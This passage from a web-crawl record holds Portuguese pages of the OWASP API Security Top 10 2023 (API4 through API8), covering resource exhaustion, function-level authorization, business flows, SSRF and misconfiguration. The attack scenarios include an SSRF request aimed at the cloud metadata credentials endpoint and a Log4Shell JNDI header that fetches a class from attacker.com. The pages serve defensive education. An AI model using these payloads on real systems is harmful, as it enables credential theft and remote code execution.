aproveitando a natureza \nflexível do GraphQL:\n\n```\nPOST /graphql\n\n[\n {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n ...\n {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n}\n```\n\nComo a API não limita o número de vezes que a operação `uploadPic` pode ser \ntentada, a chamada levará ao esgotamento da memória do servidor e à negação de \nserviço (*Denial of Service*).\n\n### Cenário #3\n\nUm prestador de serviços permite que os clientes descarreguem ficheiros \narbitrariamente grandes através da sua API. Estes ficheiros são mantidos em \narmazenamento de objetos na nuvem e não mudam com frequência. O prestador de \nserviços depende de um serviço de *cache* para melhorar a velocidade do serviço \ne manter o consumo de largura de banda baixo. O serviço de *cache* apenas \narmazena ficheiros até 15GB.\n\nQuando um dos ficheiros é atualizado, o seu tamanho aumenta para 18GB. Todos os \nclientes do serviço começam imediatamente a descarregar a nova versão. Como não \nhavia alertas de custo de consumo, nem um limite máximo de custo para o serviço \nde nuvem, a fatura mensal seguinte aumenta de 13 dólares, em média, para 8 mil \ndólares.\n\n## Como Prevenir\n\n- Utilize uma solução que facilite a limitação de [memória](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [número de reinícios](https://docs.docker.com/engine/reference/commandline/run/#restart) , [descritores de ficheiros e processos](https://docs.docker.com/engine/reference/commandline/run/#ulimit) , como\n Containers / Código Serverless (e.g. Lambdas).\n- Defina e force um tamanho máximo de dados em todos os parâmetros e conteúdos\n de entrada, como comprimento máximo para *strings* , número máximo de \n elementos em arrays e tamanho máximo de ficheiro para *upload* (independentemente de ser armazenado localmente ou na nuvem).\n- Implemente um limite de frequência com que um cliente pode interagir com a API\n dentro de um período temporal definido ( *rate limiting* ).\n- A limitação de pedidos deve ser ajustada com base nas necessidades do negócio.\n Alguns endpoints da API podem exigir políticas mais rigorosas.\n- Limite/controle quantas vezes ou com que frequência um único \n cliente/utilizador da API pode executar uma única operação (e.g. validar um \n OTP ou solicitar a recuperação de senha sem visitar o URL de uso único).\n- Adicione validação adequada no lado do servidor para parâmetros da *query string* e do corpo do pedido, especificamente aqueles que controlam o \n número de resultados a serem retornados na resposta.\n- Configure limites de gastos para todos os fornecedores de serviços/integrações \n de API. Quando não for possível definir limites de gastos, devem ser \n configurados alertas de faturamento.\n\n## Referências\n\n### OWASP\n\n- [\"Availability\" - Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability)\n- [\"DoS Prevention\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention)\n- [\"Mitigating Batching Attacks\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n\n### Externas\n\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-799: Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- \"Rate Limiting (Throttling)\" - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf) , NIST", "znaku_textu": 7917, "slov": 1079, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:33", "sha256": "3fa9da922570e9167040d2c40efcc919d6a0c4df9042effcc01a765b8a03fd09", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/770.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/799.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa5-broken-function-level-authorization/", "titulek": "API5:2023 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2023 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa5-broken-function-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2023 Broken Function Level Authorization"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API5:2023 Broken Function Level Authorization\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio |\n| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao *endpoint* da API ao qual não é suposto ter acesso como utilizadores anónimos, ordinários ou não privilegiados. *Endpoints* expostos serão facilmente explorados. | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração ou ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquias (e.g. sub-utilizadores, utilizadores com mais do que um perfil). É mais fácil descobrir estas falhas em APIs dado que APIs são mais estruturadas, e aceder a diferentes funções é mais previsível. | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataqueo que pode levar a divulgação de dados, perda de dados, ou corrupção de dados. Por último, pode dar aso a uma disrupção de serviço. |\n\n## A API é vulnerável?\n\nA melhor forma de identificar falhas de verificação de autorização de acesso a\nfunções é através duma análise detalhada do mecanismo de autorização, devendo\nter-se em consideração o esquema de hierarquia de utilizadores, diferentes\nperfis ou grupos e questionando continuamente:\n\n- Utilizadores ordinários podem aceder aos *endpoints* de administração?\n- Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou\n apagar) para as quais não deveriam ter acesso, alterando simplesmente o método\n HTTP (e.g. alterando de `GET` para `DELETE` )?\n- Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y,\n adivinhando o URL do *endpoint* e os parâmetros (e.g. `/api/v1/users/export_all` )?\n\nNunca assuma o tipo dum *endpoint*, normal ou administrativo, apenas com base no\nURL.\n\nApesar dos programadores poderem ter decidido expor a maioria dos *endpoints*\nadministrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se\n*endpoints* administrativos sob outros prefixos, misturados com *endpoints*\nordinários e.g. `api/users`.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nDurante o processo de registo para uma aplicação que permite apenas a adesão \nde utilizadores convidados, a aplicação móvel faz uma chamada de API para \n`GET /api/invites/{invite_guid}`. A resposta contém um JSON com detalhes sobre \no convite, incluindo o perfil do utilizador e o email do utilizador.\n\nUm atacante duplica o pedido e manipula o método HTTP e o *endpoint* para \n`POST /api/invites/new`. Este *endpoint* deveria ser usado apenas por \nadministradores através da consola de administração. O *endpoint* não implementa \nverificações de autorização de acesso à função.\n\nO atacante explora a falha e envia um novo convite com privilégios de \nadministrador:\n\n```\nPOST /api/invites/new\n\n{\n \"email\": \"[email protected]\",\n \"role\":\"admin\"\n}\n```\n\nMais tarde, o atacante usa o convite criado maliciosamente para criar uma conta \nde administrador e obter acesso total ao sistema.\n\n### Cenário #2\n\nUma API contém um *endpoint* que deveria ser exposto apenas a administradores - \n`GET /api/admin/v1/users/all`. Este *endpoint* retorna os detalhes de todos os \nutilizadores da aplicação e não implementa verificações de autorização de acesso \nà função. Um atacante que aprendeu sobre a estrutura da API faz uma suposição \ninformada e consegue aceder a este *endpoint*, expondo detalhes sensíveis dos \nutilizadores da aplicação.\n\n## Como Prevenir\n\nA sua API deve usar um módulo de autorização consistente e fácil de analisar, o\nqual deve ser invocado por todas as funções de negócio. Frequentemente, este\ntipo de proteção é oferecido por um ou mais componentes externos à lógica\naplicacional.\n\n- Por omissão todos os acesso devem ser negados, exigindo que permissões\n específicas sejam concedidas a perfis específicos para acesso a cada função.\n- Rever todos os *endpoints* à procura de falhas ao nível da verificação de\n autorização de acesso a funções, tendo sempre em consideração a lógica de\n negócio da aplicação e hierarquia dos grupos.\n- Assegurar que todos os controladores administrativos herdam de um controlador\n administrativo base que implementa as verificações de autorização com base no\n grupo/perfil do utilizador.\n- Assegurar que funções administrativas num controlador ordinário implementam\n elas próprias as verificações de autorização baseadas no grupo e perfil do\n utilizador.\n\n## Referências\n\n### OWASP\n\n- [Forced Browsing](https://owasp.org/www-community/attacks/Forced_browsing)\n- \"A7: Missing Function Level Access Control\", [OWASP Top 10 2013](https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf)\n- [Access Control](https://owasp.org/www-community/Access_Control)\n\n### Externas\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 5056, "slov": 721, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:40", "sha256": "24601621bbc09628d48e803119c5a374c6e7f70367563c78ff5f928f0ae676bb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows/", "titulek": "API6:2023 Unrestricted Access to Sensitive Business Flows - OWASP API Security Top 10", "h1": "API6:2023 Unrestricted Access to Sensitive Business Flows", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2023 Unrestricted Access to Sensitive Business Flows"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API6:2023 Unrestricted Access to Sensitive Business Flows\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio |\n| A exploração geralmente envolve entender o modelo de negócio suportado pela API, encontrar fluxos de negócio sensíveis e automatizar o acesso a esses fluxos, causando danos ao negócio. | A falta de uma visão holística da API para suportar plenamente os requisitos de negócio tende a contribuir para a prevalência deste problema. Os atacantes identificam manualmente quais recursos (e.g. *endpoints*) estão envolvidos no fluxo de trabalho alvo e como funcionam em conjunto. Se já existirem mecanismos de mitigação, os atacantes precisam encontrar uma maneira de os contornar. | Em geral, não se espera um impacto técnico significativo. A exploração pode prejudicar o negócio de diferentes maneiras, por exemplo: impedir que utilizadores legítimos comprem um produto ou levar a uma inflação na economia interna de um jogo. |\n\n## A API é vulnerável?\n\nAo criar um *endpoint* de API, é importante entender qual fluxo de negócio ele \nexpõe. Alguns fluxos de negócio são mais sensíveis do que outros, no sentido de \nque o acesso excessivo a eles pode prejudicar o negócio.\n\nExemplos comuns de fluxos de negócios sensíveis e o risco de acesso excessivo \nassociado a eles:\n\n- Fluxo de compra de um produto - um atacante pode comprar todo o stock de um\n item de alta procura de uma só vez e revendê-lo por um preço mais alto \n (scalping).\n- Fluxo de criação de comentário/publicação - um atacante pode inundar o sistema \n com spam.\n- Realização de uma reserva - um atacante pode reservar todos os horários\n- disponíveis e impedir que outros utilizadores utilizem o sistema.\n\nO risco de acesso excessivo pode variar entre indústrias e empresas. Por \nexemplo, a criação de publicações através de um script pode ser considerada um \nrisco de spam por uma rede social, mas incentivada por outra rede social.\n\nUm endpoint de API está vulnerável se expõe um fluxo de negócio sensível sem \nrestringir adequadamente o acesso a ele.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma empresa de tecnologia anuncia que vai lançar uma nova consola de jogos no \nDia de Ação de Graças. O produto tem uma procura muito alta e o stock é \nlimitado. Um atacante escreve código para comprar automaticamente o novo produto \ne concluir a transação.\n\nNo dia do lançamento, o atacante executa o código distribuído por diferentes \nendereços IP e localizações. A API não implementa a proteção adequada e permite \nque o atacante compre a maior parte do stock antes de outros utilizadores \nlegítimos.\n\nMais tarde, o atacante vende o produto noutra plataforma por um preço muito mais \nalto.\n\n### Cenário #2\n\nUma companhia aérea oferece a compra de bilhetes online sem taxa de \ncancelamento. Um utilizador com intenções maliciosas reserva 90% dos assentos de \num voo desejado.\n\nAlguns dias antes do voo, o utilizador malicioso cancelou todos os bilhetes de \numa vez, o que obrigou a companhia aérea a baixar os preços dos bilhetes para \npreencher o voo.\n\nDeste modo, o utilizador consegue comprar um bilhete que está muito mais barato \ndo que o original.\n\n### Cenário #3\n\nUma aplicação de partilha de boleias oferece um programa de referência - os \nutilizadores podem convidar os seus amigos e ganhar crédito por cada amigo que \nse juntar à aplicação. Este crédito pode ser posteriormente utilizado como \ndinheiro para reservar viagens.\n\nUm atacante explora este fluxo escrevendo um script para automatizar o processo \nde registo, com cada novo utilizador a adicionar crédito à carteira do atacante.\n\nO atacante pode posteriormente usufruir de viagens gratuitas ou vender as contas \ncom créditos excessivos por dinheiro.\n\n## Como Prevenir\n\nO planeamento da mitigação deve ser feito em duas camadas:\n\n- Negócio - identificar os fluxos de negócio que podem prejudicar a empresa se\n forem utilizados em excesso.\n- Engenharia - escolher os mecanismos de proteção adequados para mitigar o risco\n empresarial. Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais\ndifíceis de implementar. Os seguintes métodos são utilizados para desacelerar\nameaças automatizadas: Proteja e limite o acesso às APIs que são consumidas diretamente por máquinas\n(como APIs para desenvolvedores e B2B). Elas tendem a ser um alvo fácil para\natacantes, pois muitas vezes não implementam todos os mecanismos de proteção\nnecessários.\n - *Fingerprinting* de dispositivos: negar serviço a dispositivos de cliente\n inesperados (e.g. navegadores *headless* ) tende a fazer com que os atacantes\n usem soluções mais sofisticadas, tornando-as mais caras para eles.\n - Deteção humana: utilize *captcha* ou soluções biométricas mais avançadas\n (e.g. padrões de digitação).\n - Padrões não humanos: analisar o fluxo do utilizador para detetar padrões\n não humanos (e.g. o utilizador acedeu às funções \"adicionar ao carrinho\" e\n \"finalizar compra\" em menos de um segundo).\n - Considere bloquear endereços IP de nós de saída da rede Tor e proxies bem\n conhecidos.\n\n## Referências\n\n### OWASP\n\n- [OWASP Automated Threats to Web Applications](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [API10:2019 Insufficient Logging & Monitoring](https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/)", "znaku_textu": 5335, "slov": 816, "odkazu": 66, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:47", "sha256": "d3c68afa039b751444e167a66495f56d5f5f61e65d7cc1a2376f759f55d30b77", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa7-server-side-request-forgery/", "titulek": "API7:2023 Server Side Request Forgery - OWASP API Security Top 10", "h1": "API7:2023 Server Side Request Forgery", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa7-server-side-request-forgery/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2023 Server Side Request Forgery"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API7:2023 Server Side Request Forgery\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Detectability **Fácil** | Técnico **Moderado** : Específico do Negócio |\n| A exploração requer que o atacante encontre um *endpoint* da API que aceda a um URI fornecido pelo cliente. Em geral, SSRF básico (quando a resposta é retornada ao atacante) é mais fácil de explorar do que *Blind* SSRF, em que o atacante não tem feedback sobre se o ataque foi bem sucedido ou não. | Os conceitos modernos no desenvolvimento de aplicações incentivam os desenvolvedores a aceder a URIs fornecidos pelo cliente. A falta de validação ou a validação inadequada desses URIs são problemas comuns. Será necessária a análise regular de solicitações e respostas da API para detetar o problema. Quando a resposta não é retornada (*Blind* SSRF), a deteção da vulnerabilidade exige mais esforço e criatividade. | A exploração bem sucedida pode levar à enumeração de serviços internos (e.g. scan de portas), divulgação de informações, bypass de firewalls ou outros mecanismos de segurança. Em alguns casos, pode levar a DoS ou ao uso do servidor como um proxy para ocultar atividades maliciosas. |\n\n## A API é vulnerável?\n\nFalhas de Server-Side Request Forgery (SSRF) ocorrem quando uma API pede um \nrecurso remoto sem validar o URL fornecido pelo utilizador. Isso permite que um \natacante force a aplicação a enviar um pedido manipulado para um destino \ninesperado, mesmo quando protegido por uma firewall ou uma VPN.\n\nOs conceitos modernos no desenvolvimento de aplicações tornam o SSRF mais comum \ne mais perigoso.\n\nMais comum - os seguintes conceitos incentivam os desenvolvedores a aceder a \nrecursos externos com base em entradas de utilizadores: Webhooks, download de \nficheiros a partir de URLs, SSO personalizado e pré-visualização de URLs.\n\nMais perigoso - Tecnologias modernas como provedores de nuvem, Kubernetes e \nDocker expõem canais de gestão e controle via HTTP em caminhos previsíveis e \nbem conhecidos. Esses canais são um alvo fácil para um ataque SSRF.\n\nTambém é mais desafiador limitar o tráfego de saída da sua aplicação, devido à \nnatureza conectada das aplicações modernas.\n\nO risco de SSRF nem sempre pode ser completamente eliminado. Ao escolher um \nmecanismo de proteção, é importante considerar os riscos e necessidades do \nnegócio.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma rede social permite que os utilizadores façam o upload de fotos de perfil. \nO utilizador pode escolher entre carregar o ficheiro de imagem do seu \ndispositivo ou fornecer o URL da imagem. Escolher a segunda opção irá acionar a \nseguinte chamada API:\n\n```\nPOST /api/profile/upload_picture\n\n{\n \"picture_url\": \"http://example.com/profile_pic.jpg\"\n}\n```\n\nUm atacante pode enviar um URL malicioso e iniciar um *scan* de portas \ndentro da rede interna usando o *endpoint* da API.\n\n```\n{\n \"picture_url\": \"localhost:8080\"\n}\n```\n\nCom base no tempo de resposta, o atacante pode descobrir se a porta está \naberta ou não.\n\n### Cenário #2\n\nUm produto de segurança gera eventos quando detecta anomalias na rede. \nAlgumas equipas preferem rever os eventos num sistema de monitorização mais \namplo e genérico, como um SIEM (Gestão de Informações e Eventos de Segurança). \nPara este fim, o produto fornece integração com outros sistemas usando \n*webhooks*.\n\nComo parte da criação de um novo *webhook*, uma mutação GraphQL é enviada com o\nURL da API do SIEM.\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://www.siem-system.com/create_new_event\\\",\n send_test_req: true\n }\n ]\n }\n }){\n channelId\n }\n }\"\n }\n]\n```\n\nDurante o processo de criação, o *back-end* da API envia um pedido de teste para o\nURL do webhook fornecido e apresenta a resposta ao utilizador.\n\nUm atacante pode explorar este fluxo e fazer com que a API solicite um recurso \nsensível, como um serviço de metadados de nuvem interna que expõe credenciais:\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\\\",\n send_test_req: true\n }\n ]\n }\n }) {\n channelId\n }\n }\n }\n]\n```\n\nUma vez que a aplicação mostra a resposta do pedido de teste, o atacante pode \nvisualizar as credenciais do ambiente de nuvem.\n\n## Como Prevenir\n\n- Isole o mecanismo de obtenção de recursos na sua rede: geralmente, essas\n funcionalidades são destinadas a recuperar recursos remotos e não internos.\n- Sempre que possível, utilize listas de permissões de:\n - Origens remotas das quais se espera que os utilizadores façam download de\n recursos (por exemplo, Google Drive, Gravatar, etc.)\n - Esquemas de URL e portas\n - Tipos de media aceites para uma determinada funcionalidade\n- Desative redirecionamentos HTTP.\n- Utilize um URL *parser* bem testado e mantido para evitar problemas causados\npor inconsistências no processamento de URLs.\n- Valide e sanitize todos os dados de entrada fornecidos pelo cliente.\n- Não envie respostas não tratadas aos clientes.\n\n## Referências\n\n### OWASP\n\n- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n- [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### Externas\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,\n Snyk](https://snyk.io/blog/url-confusion-vulnerabilities/)", "znaku_textu": 5727, "slov": 822, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:52", "sha256": "cf3ed1afaa9f9828d4b14fa09a4099f80a094de0f2130963fe06c28f989cc48d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/918.html", "https://snyk.io/blog/url-confusion-vulnerabilities/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa8-security-misconfiguration/", "titulek": "API8:2023 Security Misconfiguration - OWASP API Security Top 10", "h1": "API8:2023 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa8-security-misconfiguration/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2023 Security Misconfiguration"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API8:2023 Security Misconfiguration\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Detectability **Fácil** | Técnico **Severo** : Específico do Negócio |\n| Os atacantes frequentemente tentam encontrar falhas não corrigidas, *endpoints* comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os *exploits* podem estar disponíveis. | A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. | As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor. |\n\n## A API é vulnerável?\n\nA API pode ser vulnerável se:\n\n- As devidas proteções de segurança não foram aplicadas em qualquer parte da\n API, ou se houver permissões mal configuradas em serviços de nuvem.\n- Os últimos *patches* de segurança estão em falta ou os sistemas estão\n desatualizados.\n- Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP,\n funcionalidades de registo de eventos).\n- Existem discrepâncias na forma como os pedidos são processados pelos\n servidores na cadeia de servidores HTTP.\n- A Segurança da Camada de Transporte (TLS) está em falta.\n- Diretivas de segurança ou de controlo de cache não são enviadas aos clientes.\n- Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal\n configurada.\n- As mensagens de erro incluem *stack traces* ou expõem outras informações\n sensíveis.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUm servidor de API *back-end* mantém um registo de acesso escrito por uma \nutilidade de registo *open-source* popular de terceiros, com suporte para \nexpansão de espaços reservados e pesquisas JNDI (Java Naming and Directory \nInterface), ambos ativados por defeito. Para cada pedido, uma nova entrada é \nescrita no ficheiro de registo com o seguinte padrão: \n` / - `.\n\nUm ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de\nregisto de acesso:\n\n```\nGET /health\nX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}\n```\n\nDevido à configuração padrão insegura da utilidade de registo e a uma política \nde rede de saída permissiva, para escrever a entrada correspondente no registo \nde acesso, ao expandir o valor no cabeçalho `X-Api-Version` do pedido, a \nutilidade de registo irá buscar e executar o objeto `Malicious.class` do \nservidor controlado remotamente pelo atacante.\n\n### Cenário #2\n\nUm site de rede social oferece uma funcionalidade de \"Mensagem Direta\" que \npermite aos utilizadores manter conversas privadas. Para recuperar novas \nmensagens de uma conversa específica, o site emite o seguinte pedido de API (a \ninteração do utilizador não é necessária):\n\n```\nGET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA\n```\n\nComo a resposta da API não inclui o cabeçalho de resposta HTTP `Cache-Control`, \nas conversas privadas acabam por ser armazenadas em cache pelo navegador, \npermitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do \nnavegador no sistema de ficheiros.\n\n## Como Prevenir\n\nO ciclo de vida da API deve incluir:\n\n- Um processo de proteção reprodutível que possa ser implantado de forma fácil\n e rápida com vista a um ambiente de execução devidamente protegido.\n- Um processo de revisão e atualização de todas as camadas da API. A revisão\n deve incluir: ficheiros de orquestração, componentes da API e serviços na\n nuvem (e.g., permissões dos *buckets* S3).\n- Um processo automatizado para verificar de forma continua as configurações e\n definições em todos os ambientes (produção, *staging* , testes,\n desenvolvimento).\n\nE ainda:\n\n- Assegure que todas as comunicações de API, do cliente para o servidor de API e\n qualquer componente *downstream* / *upstream* , ocorram através de um canal de\n comunicação encriptado (TLS), independentemente de se tratar de uma API\n interna ou pública.\n- Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os\n outros verbos HTTP devem ser desativados (por exemplo, HEAD).\n- As APIs que esperam ser acedidas a partir de clientes baseados em navegador\n (por exemplo, aplicação web *front-end* ) devem, pelo menos:\n - implementar uma política adequada de Partilha de Recursos entre Origens\n (CORS).\n - incluir os Cabeçalhos de Segurança aplicáveis.\n- Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem\n os requisitos funcionais/de negócio.\n- Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo,\n balanceadores de carga, proxies reversos e diretos, e servidores de *back-end* ) processem os pedidos de entrada de forma uniforme para evitar\n problemas de dessincronização.\n- Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta\n da API, incluindo respostas de erro, para evitar que informações de exceções e\n outras informações valiosas sejam enviadas para os atacantes.\n\n## Referências\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [Configuration and Deployment Management Testing - Web Security Testing\n Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Testing for Error Handling - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n- [Testing for Cross Site Request Forgery - Web Security Testing 